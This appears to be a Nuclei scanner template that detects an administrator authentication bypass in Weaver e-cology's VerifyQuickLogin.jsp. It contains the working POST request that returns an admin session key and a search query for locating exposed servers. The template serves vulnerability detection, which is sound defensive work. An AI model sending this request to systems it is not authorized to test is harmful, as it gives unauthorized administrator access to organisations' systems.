id: ecology-verifyquicklogin-auth-bypass

info:
  name: Weaver e-cology verifyquicklogin.jsp - Auth Bypass
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary administrator login vulnerability in the Panwei OA E-Cology VerifyQuickLogin.jsp file. An attacker can obtain the administrator Session by sending a special request package.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20VerifyQuickLogin.jsp%20%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%91%98%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: weaver
    product: e-cology
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,weaver,oa,auth-bypass

http:
  - raw:
      - |
        POST /mobile/plugin/VerifyQuickLogin.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        identifier=1&language=1&ipaddress=x.x.x.x

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"sessionkey\":"
          - "\"message\":"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022066f26d6df11fbe7584ef43bc32698ab64400bb7e9fcc2fe317dbc37f2572363d02210098c02df3245eb8f2b53ab3d4d961297e86de77524384d442a9efdb5879edfb9a:922c64590222798bb761d5b6d8e72950